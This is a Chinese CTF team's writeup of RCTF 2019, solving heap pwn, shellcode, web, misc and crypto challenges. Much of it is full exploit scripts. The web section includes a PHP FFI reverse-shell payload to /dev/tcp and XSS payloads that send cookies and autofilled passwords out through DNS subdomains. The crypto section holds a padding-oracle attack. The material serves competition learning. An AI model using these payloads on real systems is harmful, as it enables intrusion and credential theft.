Kap0k-Note: RCTF-2019 Writeup
RCTF-2019: Kap0k排名第六
我们misc贼强
pwn
babyheap
类似 2019-starctf 的heap_master, 但这里并不改dl_open_hook, 而是改_free_hook
解题
- edit的时候off by one
- 使用
seccomp-tools dump babyheap
可以看到关闭了execve系统调用, 只能使用open, read, write三个系统调用读出flag
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x01 0x00 0xc000003e if (A == ARCH_X86_64) goto 0003
0002: 0x06 0x00 0x00 0x00000000 return KILL
0003: 0x20 0x00 0x00 0x00000000 A = sys_number
0004: 0x15 0x00 0x01 0x00000029 if (A != socket) goto 0006
0005: 0x06 0x00 0x00 0x00000000 return KILL
0006: 0x15 0x00 0x01 0x0000003b if (A != execve) goto 0008
0007: 0x06 0x00 0x00 0x00000000 return KILL
0008: 0x15 0x00 0x01 0x00000039 if (A != fork) goto 0010
0009: 0x06 0x00 0x00 0x00000000 return KILL
0010: 0x15 0x00 0x01 0x0000009d if (A != prctl) goto 0012
0011: 0x06 0x00 0x00 0x00000000 return KILL
0012: 0x15 0x00 0x01 0x0000003a if (A != vfork) goto 0014
0013: 0x06 0x00 0x00 0x00000000 return KILL
0014: 0x15 0x00 0x01 0x00000065 if (A != ptrace) goto 0016
0015: 0x06 0x00 0x00 0x00000000 return KILL
0016: 0x15 0x00 0x01 0x0000003e if (A != kill) goto 0018
0017: 0x06 0x00 0x00 0x00000000 return KILL
0018: 0x15 0x00 0x01 0x00000038 if (A != clone) goto 0020
0019: 0x06 0x00 0x00 0x00000000 return KILL
0020: 0x06 0x00 0x00 0x7fff0000 return ALLOW
利用过程
- leak heap, leak libc
- 写rop, shellcode到heap
- largebin attack & unsortbin attack直接在libc上的free_hook分配chunk
- 栈转移到heap上
- 执行rop
- 执行shellcode
exp
# -*- coding:utf-8 -*-
from pwn import *
# context.log_level = 'debug'
binary = './babyheap'
llibc = '/lib/x86_64-linux-gnu/libc.so.6' # /lib/i386-linux-gnu/libc.so.6
elf = ELF(binary, checksec = 0)
libc = ELF(llibc, checksec = 0)
ip="139.180.215.222"
port= 20001
# r = process(binary, aslr = 1)
sd = lambda x : r.send(x)
sl = lambda x : r.sendline(x)
rv = lambda x = 2048 : r.recv(x)
ru = lambda x : r.recvuntil(x)
rl = lambda : r.recvline()
ia = lambda : r.interactive()
ra = lambda : r.recvall()
def add(size):
ru("Choice:")
sl("1")
ru("Size")
sl(str(size))
def edit(idx,con):
ru("Choice:")
sl("2")
ru("Index:")
sl(str(idx))
ru("Content:")
sd(con)
def show(idx):
ru("Choice:")
sl("4")
ru("Index:")
sl(str(idx))
def free(idx):
ru("Choice:")
sl("3")
ru("Index:")
sl(str(idx))
def exp():
add(0x78) #0
add(0x38)#1 用1来控制largin的大小
add(0x420)#2
add(0x30)#3 +0x4f0
add(0x60)#4
add(0x20)#5
add(0x88) #6
add(0x48)#7 con
add(0x420)#8
add(0x20)#9
add(0x100)#10 用来写gadget的结构
add(0x400)#11 用来写rop链和shellcode
# gdb.attach(r)
free(0)
edit(2,0x3f0*'a'+p64(0x100)+p64(0x31))
edit(1,'a'*0x30+p64(0x80+0x40)) # off
free(2)
add(0x78)#0
show(1)
libc.address=u64(rl()[1:-1].ljust(8,'\x00'))-3951480
success("libcbase: "+hex(libc.address))
add(0x30)#2==1
free(4)
free(2)
show(1)
heapbase=u64(rl()[1:-1].ljust(8,'\x00'))-528-0x300-0x20
success("heapbase: "+hex(heapbase))
add(0x50)#2 进入large
free(6)
edit(8,0x3f0*'a'+p64(0x100)+p64(0x31))
edit(7,'a'*0x40+p64(0x90+0x50)) # off
free(8)
add(0x430)#4==1
add(0x88) #6
add(0x440)#8==7
#large attack & unsotbin attack
free(4)
free(8)
add(0x440)#4
free(4)
edit(7,p64(0)+p64(libc.sym['__free_hook']-0x20))
edit(1,p64(0)+p64(libc.sym['__free_hook']-0x20+8)+p64(0)+p64(libc.sym['__free_hook']-0x20-0x18-5))
add(0x48) #4- __free_hook
edit(4,'a'*16+p64(libc.address+0x0000000000047b75)) #写__free_hook 为 0x0000000000047b75 : mov rsp, qword ptr [rdi + 0xa0] ...
# rsp 控制到heapbase+0x10+3104的位置 idx11
# 0x0000000000021102 : pop rdi ; ret
rop=p64(0x0000000000021102+libc.address)+p64(heapbase)
# 0x00000000001150c9 : pop rdx ; pop rsi ; ret
rop+=p64(0x00000000001150c9+libc.address)+p64(7)+p64(0x2000)+p64(libc.sym['mprotect'])
rop+=p64(heapbase+0x48+3104)
code = """
xor rsi,rsi
mov rax,SYS_open
call here
.string "./flag"
here:
pop rdi
syscall
mov rdi,rax
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_read
syscall
mov rdi,1
mov rsi,rsp
mov rdx,0x100
mov rax,SYS_write
syscall
mov rax,SYS_exit
syscall
"""
shellcode = asm(code,arch="amd64")
rop+=shellcode
edit(11,rop)
edit(10,flat({0xa0:p64(heapbase+0x10+3104),0xa8:p64(0x0000000000209B5+libc.address)}))
# 触发
# gdb.attach(r,"awatch __free_hook\nc\n")
free(10)
ia()
while 1:
try:
r = remote(ip,port)
exp()
except:
r.close()
pass
shellcoder
爆破之(虽然主办方说不需要爆破)
解题思路
只能orw
- 一开始只能输入7个byte的shellcode, 需要使用7bytes构造一个系统调用. 这里需要知道的是有一条汇编指令: xchg, 可以交换两个64位寄存器的值, xchg rdi,rsi
- 有了read系统调用, 就可以执行orw了.
- 由于不知道flag的目录, 执行系统调用sys_getdents, 实现一个类似 ls 的功能
- 爆破除flag的目录
参考
https://cloud.tencent.com/developer/article/1143454
exp
#!/usr/bin/env python
from pwn import *
context(arch='amd64',os='linux')
# context.log_level='debug'
#
def exp(dirname):
child_dir=[]
# p=process('./shellcoder')
p=remote('139.180.215.222',20002)
# gdb.attach(p,'nb 4c7')
p.recvuntil('hello shellcoder:')
shellcode='\x48\x87\xf7' #chg rdi, rsi
shellcode+='\xb2\x80' # mov dl,0x80
shellcode+='\x0f\x05' # syscall
p.send(shellcode)
# open_code=shellcraft.open('flag/n9bp/1maz/flag')
# open_code=shellcraft.open('./flag/n0qf/y1ka/fl8q')
# read_code='xor rax,rax;mov rdi,3;push rsp;pop rsi;mov rdx,100;syscall'
# write_code='mov rax,1;mov rdi,1;push rsp;pop rsi;mov rdx,100;syscall'
# shellcode='\x90'*0x7+asm(open_code)+asm(read_code)+asm(write_code)
open_code=shellcraft.open(dirname)
getdents_code='mov rax,78;mov rdi,3;mov rsi,rsp;mov rdx,200;syscall'
write_code='mov rax,1;mov rdi,1;push rsp;pop rsi;mov rdx,200;syscall'
shellcode='\x90'*0x7+asm(open_code)+asm(getdents_code)+asm(write_code)
p.send(shellcode+'\n')
result=[]
def parse1():
sleep(1)
line=p.recv()
d=0 # line[i] ptr
while(d<400):
for j in range(len(line[d+18:])):
chr_num=ord(line[d+18+j])
if chr_num<0x20 or chr_num>0x7e:
child_dir.append(line[d+18:d+18+j])
break
clen=u16(line[d+16:d+18])
d+=clen
if(clen==0):
break
for i in range(len(child_dir)):
if child_dir[i]!='' and child_dir[i]!='.' and child_dir[i]!='..':
result.append(dirname+'/'+child_dir[i])
parse1()
return result
def judge(line):
for i in range(len(line)):
if 'flag' in (line[i])[6:]:
print(line[i])
pause()
fdir=['./flag']
child_dir=[]
level=0
while(1):
for i in range(len(fdir)):
child_dir+=exp(fdir[i])
judge(child_dir)
fp=open('./dir{}'.format(level),'w')
# for i in range(len(child_dir)):
# fp.write(child_dir[i]+'\n')
# fp.close()
print(child_dir)
fdir=[]
fdir+=child_dir
child_dir=[]
many_note
漏洞点
输入content的时候有个堆溢出
利用过程
many_note有两种做法, 这篇wp里使用的是第一种
1.改tcachebin
2.house of Orange
第一种:
当不断malloc的时候, topchun大小小于请求大小时, 会把top_chunk free掉, 并且把arena里面top指针改到前面去, 会在tcache_bin(用来管理tcache的一个chunk, 大小为0x250.)前面
然后把topchunk大小改大, 然后不断malloc, 会malloc到tcachebin区域, 这时malloc出来, 写一个malloc_hook的地址到tcache_bin里, 然后tcache_dup, 写onegadget到malloc_hook即可
exp
#!/usr/bin/env python
#coding:utf-8
from pwn import *
import os,sys,time
libpath="./libc.so.6"
libcpath='/lib/x86_64-linux-gnu/libc.so.6'
libc=ELF(libpath)
p=process(['./many_notes'])
p=process(['./ld-linux-x86-64.so.2','--library-path','/mnt/hgfs/F/workflow/rctf2019/pwn-manynotes','./many_notes'])
if len(sys.argv)==3:
p=remote("139.180.144.86",20003)
ru = lambda x : p.recvuntil(x)
rud = lambda x : p.recvuntil(x,drop=True)
rl = lambda : p.recvline()
rv = lambda x : p.recv(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def menu(op):
sla('Choice:',str(op))
def add(size,padding,data=[]):
menu(0)
sla('Size:',str(size))
sla('Padding:',str(padding))
if(len(data)==0):
sla('(0/1):',str(0))
else:
sla('(0/1):',str(1))
ru('Content:')
for i in data:
sn(i)
time.sleep(0.1)
if len(sys.argv)==2:
gdb.attach(p)
sa('name:','a'*0x8)
time.sleep(0.1)
ru('to Many Notes, ')
rv(0x8)
leak=u64(rv(6).ljust(8,'\x00'))
io_stdout=leak
libc.address=libcbase=io_stdout-libc.symbols['_IO_2_1_stdout_']
__malloc_hook_addr=libc.symbols['__malloc_hook']
print '[leak]',hex(leak)
print '[libcbase]',hex(libcbase)
print '[__malloc_hook_addr]',hex(__malloc_hook_addr)
for i in range(0x7):
add(0x2000,1024)
add(0x2000,0x3e8)
add(0x5d0,0)
for i in range(0xf):
add(0x2000,1024)
add(0x2000,0x3d0-1)
payload1='a'*0x10
payload2='a'*0x10+p64(0x0)+p64(0x30b1)
add(0x20,0,[payload1,payload2])
add(0x1000-0x6a0,0)
payload=p64(0x1010101010101)*2
payload+=p64(__malloc_hook_addr-0x23)*10
payload=payload.ljust(0x240,'\x00')
add(0x240,0,[payload])
onegadget = 0x40e86+ libcbase
onegadget = 0x40eda+ libcbase
onegadget = 0xdea81+ libcbase
payload='a'*3
payload+=p64(onegadget)*5
payload=payload.ljust(0x68,'\x00')
add(0x68,0,[payload])
menu(0)
sla('Size:','104')
raw_input('interactive ....\n')
p.interactive()
web
nextphp
这题考PHP7.4
的特性,非常紧跟潮流。直接给了个eval
看一下phpinfo
,一堆disable_functions
很明显绕不过去,再看open_basedir
还注意到有一个opcache.preload
preload.php
:
<?php
final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];
private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
public function __serialize(): array {
return $this->data;
}
public function __unserialize(array $data) {
array_merge($this->data, $data);
$this->run();
}
public function serialize (): string {
return serialize($this->data);
}
public function unserialize($payload) {
$this->data = unserialize($payload);
$this->run();
}
public function __get ($key) {
return $this->data[$key];
}
public function __set ($key, $value) {
throw new \Exception('No implemented');
}
public function __construct () {
throw new \Exception('No implemented');
}
}
代码很工整,实现了一个自定义的序列化,反序列化的时候会调用unserialize
函数,这里的unserialize
函数功能是改变$data
数组元素的值,然后实现可变函数的效果。然后主要到这篇文章去查看php7.4
的特性,关于opcache.preload
,可以看RFC
很好理解,就是选定一个文件来preload。
还用到了Foreign Function Interface
这个点.到RFC看cdef
:
用法:
然后,我们需要利用preload.php
的可变函数来尝试导入c函数并执行,为什么要利用预加载的preload.php
,不能直接搞呢,因为这个
http://nextphp.2019.rctf.rois.io/?a=var_dump(unserialize(%27C:1:%22A%22:97:{a:3:{s:3:%22ret%22;N;s:4:%22func%22;s:9:%22FFI::cdef%22;s:3:%22arg%22;s:34:%22const%20char%20*%20getenv(const%20char%20*);%22;}}%27)-%3Eret-%3Egetenv(%27PATH%27));
导入getenv
同理导入system
,反弹shell即可
nextphp.2019.rctf.rois.io/?a=var_dump(unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char *command);";}}')->__serialize()[ret]->system("bash -c '/bin/bash -i >%26 /dev/tcp/{{ip}}/{{[port}} 0>%261'"));
jail
xss题,可以向一个页面写内容,然后把页面的id提交给admin,让它去访问。
avatar的地方可以上传文件,试了一下,没啥好利用的点。
cookie中有两个hint
目的就是要打到admin的cookie。
Content-Security-Policy: sandbox allow-scripts allow-same-origin; base-uri 'none';default-src 'self';script-src 'unsafe-inline' 'self';connect-src 'none';object-src 'none';frame-src 'none';font-src data: 'self';style-src 'unsafe-inline' 'self';
在firefox
下用这个payload就能x到:<img src=1 onerror="location.href='http://xxxxx/?'+document.cookie">
但是chrome不行
提交了一下,没有打到,bot应该是chrome。我们知道跳转可以无视一切csp,但是这里跳转不了,因为页面上有一段预置的js
把document.location
给freeze了,而freeze是不能解掉的
后面尝试了用a标签和另外的一些方法,本地是可以跳转的,但是bot不跳呀,因此另寻骚操作。
之前没见过freeze location这个操作,因此研究了一下location
尝试修改了几个属性,href固然是改不了,但是发现host和hostname属性都是可以改的,而且可以达到一个跳转的效果。这里可以用子域名带出信息,查看DNS query记录即可,payload:
<script>
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
}
location.hostname=stringToHex(document.cookie).substr(0,60)+".g3r5vi.ceye.io"</script>
password
这题用的是jail的同一个环境,题目和hint给的信息都非常关键
提取出几个要点:
1.要x的是密码
2.并不是chrome自带的保存密码功能
3.try to read body.innerHTML
这里可以大致猜出一些东西了,要x密码,而且不是chrome自带的密码管理,结合hint,想到会不会是给他插入一段html,然后会给我自动填充密码,我再把密码整出来?于是尝试加一段html到payload里,由于是要x密码,所以自然想到整个表单上去,login那里就有一个现成的表单
一开始是想,延时一段时间(给点时间给密码管理器自动填写),然后把password的value搞出来,但是啥都打不到。于是还是跟着hint走吧,读一下innerHTML,这一步的payload:
<body>
<form class="ui large form" method="post">
<div class="ui stacked segment">
<div class="field">
<div class="ui left icon input">
<i class="user icon"></i>
<input type="text" id="username" name="username" placeholder="Username">
</div>
</div>
<div class="field">
<div class="ui left icon input">
<i class="lock icon"></i>
<input type="password" id="password" autocomplete="on" name="password" placeholder="Password" >
</div>
</div>
<button class="ui fluid large submit button" type="submit">Login</button>
</div>
<div class="ui error message" style=""></div>
</form>
</body>
<script>
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
}
setTimeout(function () {
location.hostname=stringToHex(btoa(document.body.innerHTML)).substr(1800,60)+".g3r5vi.ceye.io";
}, 1000);
</script>
一点点拿到完整的页面内容,发现果然有something interesting
加了个data-cip-id
的属性,但是我的payload并没有这东西。查了一下,这里用的应该是ChromeIPass
+Keepass
这一套,本地装一下,直接拿登录页面来做一下实验。首先点击一下username的框,然后就会有候选密码(前提是已经有存密码)
再右键选中看属性,发现这几个选项都是cip-ui-menu-item
这个class的,因此可以用document.getElementsByClassName('cip-ui-menu-item')[?]
来定位他们。这里必须要点一下username的框,才会有这几个选项出现,选项出现之后,选一个来点,password的框就会被自动填充。所以我们的payload就已经出来了:
<body>
<form class="ui large form" method="post">
<div class="ui stacked segment">
<div class="field">
<div class="ui left icon input">
<i class="user icon"></i>
<input type="text" id="username" name="username" placeholder="Username">
</div>
</div>
<div class="field">
<div class="ui left icon input">
<i class="lock icon"></i>
<input type="password" id="password" autocomplete="on" name="password" placeholder="Password" >
</div>
</div>
<button class="ui fluid large submit button" type="submit">Login</button>
</div>
<div class="ui error message" style=""></div>
</form>
</body>
<script>
function stringToHex(str){
var val="";
for(var i = 0; i < str.length; i++){
if(val == "")
val = str.charCodeAt(i).toString(16);
else
val += str.charCodeAt(i).toString(16);
}
return val;
}
setTimeout(function () {
document.getElementsByName('username')[0].click();
document.getElementsByClassName('cip-ui-menu-item')[1].click();
location.hostname=stringToHex(btoa(document.getElementsByName('password')[0].value)).substr(0,60)+".g3r5vi.ceye.io";
}, 3000);
</script>
0号是假flag
1号是真flag
misc
draw
logo语言, 找个在线编译器丢进去
白给, 不过需要注意一下flag格式
flag: RCTF_HeyLogo
disk
题目信息
附件中的文件
解题
misc看到文件先丢到 010Editor 看一下
ctrl+f 搜一下flag, ctf这些, 还真的搜到了
拿出来是这样
rctf{unseCure_quick_form4t_vo1ume
老实说一开始看到还没啥感觉...以为只是混淆的内容, 后面才突然想起来的
然后尝试VeraCrypt加载, 发现加载失败
看了文件格式, 拿去vmware也加载失败
队友说用7z打开解压一下, 可以看到这个东西, 拿出来就可以加载了
挂载后可以看到一张图片和一个txt
有另一个密码, 应该就是隐藏卷了
加载隐藏卷, 发现打不开, 提示是Raw格式
linux下也不能加载
用DiskGenius直接读磁盘
果然看到了后半段, 拼起来即可
rctf{unseCure_quick_form4t_vo1ume_and_corrupted_1nner_v0lume}
printer
题目信息
附件
解题
这个是一个wireshark的文件, 用wireshark打开, 看到一些数据, 按长度排序, 有个特别大
看他的数据内容, 底部有很多BAR的数据
直接搜一下可以发现是个标签打印机的数据
文章里面有些图片看不清, 但是提到了一个pdf文档, 把它下载下来可以看到那些图片的内容
下面是bar命令的参数信息
那根据这个信息, 可以用python画个图
把数据从wireshark里面复制出来, 小处理一下
# python = 3.7
from PIL import Image
with open("printer.txt", "r") as f:
txt = f.readlines()
txt = [i.strip().split(",") for i in txt]
pic=Image.new('RGB',(2000,2000),'black')
pix=pic.load()
for i in txt:
temp = Image.new('RGB', (int(i[2]), int(i[3])), 'white')
pic.paste(temp, (int(i[0]), int(i[1])))
pic.show()
'''
348,439,2,96
292,535,56,2
.....
.....
152,351,16,2
152,351,2,16
'''
PIL画图大法好, 可以看到结果
看起来还少了点东西, 再看文章里面还有个Bitmap
果然数据中有这个东西
26 * 48 = 1248, 因此应该有1248个两位的16进制数(8个bit)
取出这些16进制数, 小处理一下(notepad++的处理挺方便的), 然后继续上python
def pic2():
with open("printer2.txt") as f:
txt = f.read().split()
pic = Image.new('RGB', (800, 800), 'black')
pix = pic.load()
for i in range(48):
for j in range(26):
x = ("{:08b}".format(int(txt[i * 26 + j], 16)))
for k in range(8):
if x[k] == '1':
pix[i, j * 8 + k] = (255, 255, 255)
pic.save('printer2.png')
'''
ff ff ff ff ff ff ff ff ff ff ff ff ff
.....
.....
ff ff ff
'''
得到的图片是镜像, 转一下
拼起来就是flag了
flag{my_tsc_hc3pnikdk}
watermark
- 阅读HTML,发现它首先调用JS把flag编码成了一个有着841个Bool的Array,对于所有class为watermark的div,它会在更改每个字符的颜色之后塞进一个SVG,替换掉div中的文本。对于英文字母,RGB是从Array中依序拿出的三个Bool值(a, b, c),其中a, b, c为0或1;对于其它字符,RGB是(0, 0, 0)。
2.接下来把JS反混淆,通过观察生成Array的大小(841 = 29^2)、Google搜索脚本中的字符串常量,发现这是一个编码二维码的脚本。执行:
arr = A.B.E(A.C.D("RCTF{xxxxxxxxxxxxxxxxxxxxxxxxxxx}")).F();
s = "";
for (var i = 0; i < 841; i++) {
s += arr[i] ? "1" : "0";
if ((i + 1) % 29 == 0) {
s += "\n"
}
}
可以发现题中对flag的编码实质上就是转为二维码后依序返回每个色块的颜色。
- 题目中给出了两个bmp,获取到所有英文字母的RGB值后即可生成二维码获得flag。要获得所有英文字母的RGB值,就要先获得所有字符的位置和内容。方便起见,修改HTML中的JS,使它把spans直接放进div中;并进行一些微调(font-family、font-size、weight、
),使得页面看起来和bmp里一样。
let parent = dom.parentElement
var div = document.createElement('div')
//var p = document.createElement('p')
//p.appendChild(img)
div.innerHTML = html
parent.appendChild(div)
dom.remove()
- 执行脚本获取第一个标题下的所有字母的内容和位置信息(在题目更新后,去掉了step,使得所需的信息数量变少了;否则,需要再重复两次这些操作以获得更多RGB信息)。
list = document.getElementsByTagName('span');
for (var i = 0; i <= 2068; i++) {
if ('a'<=list[i].innerText && list[i].innerText <= 'z' || 'A'<=list[i].innerText && list[i].innerText <= 'Z') {
info = list[i].getBoundingClientRect();
arr.push([list[i].innerText, info.top, info.left, info.bottom, info.right])
}
}
JSON.stringify(arr)
5.使用画图打开1.bmp,对比第一个span的位置,得出从网页中获取到的位置与图中文字位置的位置偏移,并编写脚本。
import json
f = open('p1.json')
r = f.read()
f.close()
arr = json.loads(r)
y_off = -85
x_off = -238
mp = 1
y_begin = 85
x_begin = 88
from PIL import Image
img = Image.open("1.bmp")
f = open("bin", "w")
cnt = 0
h = img.height
for e in arr:
img2 = img.crop((int(x_off + x_begin + e[2]), int(y_off + y_begin + e[1]), int(x_off + x_begin + e[4]), int(y_off + y_begin + e[3])))
img2.save("test.bmp")
img_array = img2.load()
rec = (0, 0, 0)
flag = False
for x in range(img2.size[0]):
for y in range(img2.size[1]):
if img_array[x, y][0] <= 1 and img_array[x, y][1] <= 1 and img_array[x, y][2] <= 1:
rec = (img_array[x, y][0], img_array[x, y][1], img_array[x, y][2])
flag = True
if flag:
cnt += 1
f.write(str(rec[0]) + str(rec[1]) + str(rec[2]))
f.close()
print("hit:", cnt)
print("total:", len(arr))
- 执行脚本,在执行过程中可以看到test.bmp的变化,确定它截取的字符位置正确。
- 从拿到的RGB值生成二维码。由于有些字符(i、l、I等)体积较小,携带的RGB信息可能丢失,所以生成了四个,并取or。(会有1没有被读出来,但一般不会有0被读成1)
import zxing
from PIL import Image
black = Image.new('RGB', (10, 10), (0, 0, 0))
white = Image.new('RGB', (10, 10), (255, 255, 255))
f = open("bin")
arr = f.read()
f.close()
reader = zxing.BarCodeReader()
real = ['0'] * 841
def gen(n):
num = 0
for i in range(0, 29):
for j in range(0, 29):
if arr[n + i * 29 + j] == '1':
real[i * 29 + j] = '1'
def run(n):
num = 0
result = Image.new('RGB', (290, 290), (255, 255, 255))
for i in range(0, 29):
for j in range(0, 29):
if real[n + i * 29 + j] == '1':
result.paste(black, (i * 10, j * 10))
else:
result.paste(white, (i * 10, j * 10))
result.save('qrcode.png')
for i in range(0, 841*4, 841):
gen(i)
run(0)
print(reader.decode("qrcode.png"))
8.执行脚本,得到flag(和二维码):
RCTF{c4ca4238a0b923820dcc509a6275849b}
Crypto
baby_crypto
题目会让我们先输入username和password,其中username和password都只能是5到10位的纯小写字母,然后题目会生成一个cookie
"admin:0;username:aaaaa;password:aaaaa"
并将它用aes-cbc进行加密,然后再将该密文前面拼接上16位的salt之后进行sha1,最后把iv+密文+sha1结果作为data返回给我们
接下来我们可以发送data过去,服务器会进行aes-cbc解密并校验传过去的sha1是不是和我们传过去的cookie符合,然后再捕捉cookie中的admin,如果是1则输出flag,如果是0则退出程序
需要注意的是如果我们传过去的数据有误,会返回错误信息并继续接收data直到服务器可以解密我们传过去的cookie并且sha1校验的信息正确
这道题的要点有两个:
- 如何通过sha1校验
- 如何伪造cookie使得admin为1
对于要点1来说,可以参考去年RCTF的cpushop的题,用hash长度拓展攻击就可以,我们可以拓展出来';admin:1'
这样的信息附加到原來的cookie末尾,这样服务器校验的时候便会通过。我们可以用'hashpumpy'
这个python包来进行长度拓展攻击。
需要注意的是,服务器返回的data中的cookie的加密数据的长度为96个十六进制数,我们使用长度拓展攻击之后长度会变为128个十六进制数,所以需要先将data中的cookie的加密数据再附加32个十六进制数
对于要点2来说,aes-cbc模式可以用'Padding Oracle Attack'
结合'CBC字节反转攻击'
来伪造加密之后的密文。我们可以先用Padding Oracle Attack获取cookie解密之后的最后16位的明文,然后用CBC字节反转攻击修改密文使其解密之后的明文变为hash长度拓展攻击生成的明文。这样重复4次就可以修改所有的密文解密之后的明文变为我们想要的明文
最终我们就可以通过这个思路传过去伪造的data得到flag:RCTF{f2c519ea-567b-41d1-9db8-033f058b4e3e}
解题脚本:
HOST = "111.231.100.117"
PORT = 20000
import urllib
from pwn import *
import hashpumpy
from cryptography.hazmat.primitives import padding
def pad(s):
padder = padding.PKCS7(128).padder()
return padder.update(s) + padder.finalize()
def Padding_Oracle_Attack(last,last2,rest):
last2 = last2.decode('hex')
c_final = ""
m = ""
for x in xrange(1, 17):
for y in xrange(0, 256):
IV = "\x00" * (16 - x) + chr(y) + "".join(chr(ord(i) ^ x) for i in c_final)
r = rest+IV.encode('hex')+last+hash
rv(4096)
sl(r)
result = rl()
if "Invalid padding" not in result:
c_final = chr(y ^ x) + c_final
print "[+]Get: " + urllib.quote(c_final)
break
if y == 255:
print "[!]Error!"
exit(1)
print "[+]Result: " + c_final
for x in xrange(16):
m += chr(ord(c_final[x]) ^ ord(last2[x]))
return m,c_final
p = remote(HOST, PORT)
ru = lambda x : p.recvuntil(x)
rl = lambda : p.recvline()
rv = lambda x : p.recv(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
rv(4096)
sl('aaaaa')
rv(4096)
sl('aaaaa')
rl()
cookie = rl().strip('\n')
print cookie
cookie_len=len(cookie)
hash_len = 40
iv_len=32
iv = cookie[:iv_len]
enc_cookie = cookie[iv_len:-hash_len]
hash = cookie[-hash_len:]
print iv
print enc_cookie
print hash
append_data = ";admin:1"
# 37 -> 48 -> 96
old_plain = "admin:0;username:aaaaa;password:aaaaa"
# 56 -> 64 -> 128
data = hashpumpy.hashpump(hash,old_plain,append_data,16)
new_hash = data[0]
new_data = data[1]
new_data = pad(new_data)
print new_data.encode('hex').decode('hex')
print len(new_data)
# pad enc_cookie to 128
enc_cookie = enc_cookie + enc_cookie[32:64]
assert(len(enc_cookie)==128)
last_enc_block = enc_cookie[-32:]
last2_enc_block = enc_cookie[-64:-32]
rest_enc_block = enc_cookie[:-64]
last_plain ,c_final = Padding_Oracle_Attack(last_enc_block,last2_enc_block,iv+rest_enc_block)
#print last_plain
#print c_final
assert(len(last_plain)==16)
assert(len(c_final)==16)
last_need_plain = new_data[-16:]
temp_block = ""
for i in range(16):
temp_block += chr(ord(last_plain[i])^ord(last_need_plain[i]))
last2_enc_block = last2_enc_block.decode('hex')
new_last2_enc_block = ""
for i in range(16):
new_last2_enc_block += chr(ord(last2_enc_block[i])^ord(temp_block[i]))
res = ''
for i in range(16):
res += chr(ord(new_last2_enc_block[i])^ord(c_final[i]))
print "[+]Round 4 Complete!"
print res
print res.encode('hex')
new_last2_enc_block = new_last2_enc_block.encode('hex')
if len(new_last2_enc_block)%2==1:
new_last2_enc_block = '0'+new_last2_enc_block
payload = last_enc_block
print "[+]Round 4 payload:"
print payload
print len(payload)
# chunk 4 is complete
# start Round 3
enc_cookie = rest_enc_block + new_last2_enc_block
assert(len(enc_cookie)==96)
last_enc_block = enc_cookie[-32:]
last2_enc_block = enc_cookie[-64:-32]
rest_enc_block = enc_cookie[:-64]
last_plain ,c_final = Padding_Oracle_Attack(last_enc_block,last2_enc_block,iv+rest_enc_block)
#print last_plain
#print c_final
assert(len(last_plain)==16)
assert(len(c_final)==16)
last_need_plain = new_data[-32:-16]
temp_block = ""
for i in range(16):
temp_block += chr(ord(last_plain[i])^ord(last_need_plain[i]))
last2_enc_block = last2_enc_block.decode('hex')
new_last2_enc_block = ""
for i in range(16):
new_last2_enc_block += chr(ord(last2_enc_block[i])^ord(temp_block[i]))
res = ''
for i in range(16):
res += chr(ord(new_last2_enc_block[i])^ord(c_final[i]))
print "[+]Round 3 Complete!"
print res
print res.encode('hex')
new_last2_enc_block = new_last2_enc_block.encode('hex')
if len(new_last2_enc_block)%2==1:
new_last2_enc_block = '0'+new_last2_enc_block
payload = last_enc_block + payload
print "[+]Round 3 payload:"
print payload
print len(payload)
# chunk 3 is complete
# start Round 2
enc_cookie = rest_enc_block + new_last2_enc_block
assert(len(enc_cookie)==64)
last_enc_block = enc_cookie[-32:]
last2_enc_block = enc_cookie[-64:-32]
rest_enc_block = ""
last_plain ,c_final = Padding_Oracle_Attack(last_enc_block,last2_enc_block,iv+rest_enc_block)
#print last_plain
#print c_final
assert(len(last_plain)==16)
assert(len(c_final)==16)
last_need_plain = new_data[-48:-32]
temp_block = ""
for i in range(16):
temp_block += chr(ord(last_plain[i])^ord(last_need_plain[i]))
last2_enc_block = last2_enc_block.decode('hex')
new_last2_enc_block = ""
for i in range(16):
new_last2_enc_block += chr(ord(last2_enc_block[i])^ord(temp_block[i]))
res = ''
for i in range(16):
res += chr(ord(new_last2_enc_block[i])^ord(c_final[i]))
print "[+]Round 2 Complete!"
print res
print res.encode('hex')
new_last2_enc_block = new_last2_enc_block.encode('hex')
if len(new_last2_enc_block)%2==1:
new_last2_enc_block = '0'+new_last2_enc_block
payload = last_enc_block + payload
print "[+]Round 2 payload:"
print payload
print len(payload)
# chunk 2 is complete
# start Round 1
enc_cookie = rest_enc_block + new_last2_enc_block
assert(len(enc_cookie)==32)
last_enc_block = enc_cookie[-32:]
last2_enc_block = iv
rest_enc_block = ""
last_plain ,c_final = Padding_Oracle_Attack(last_enc_block,last2_enc_block,rest_enc_block)
#print last_plain
#print c_final
assert(len(last_plain)==16)
assert(len(c_final)==16)
last_need_plain = new_data[-64:-48]
temp_block = ""
for i in range(16):
temp_block += chr(ord(last_plain[i])^ord(last_need_plain[i]))
last2_enc_block = last2_enc_block.decode('hex')
new_last2_enc_block = ""
for i in range(16):
new_last2_enc_block += chr(ord(last2_enc_block[i])^ord(temp_block[i]))
res = ''
for i in range(16):
res += chr(ord(new_last2_enc_block[i])^ord(c_final[i]))
print "[+]Round 1 Complete!"
print res
print res.encode('hex')
new_last2_enc_block = new_last2_enc_block.encode('hex')
if len(new_last2_enc_block)%2==1:
new_last2_enc_block = '0'+new_last2_enc_block
payload = last_enc_block + payload
print "[+]Round 1 payload:"
print payload
print len(payload)
payload = new_last2_enc_block + payload
print "[+]Round 0 payload:"
print payload
print len(payload)
payload += new_hash
print "[+]ALL DONE!"
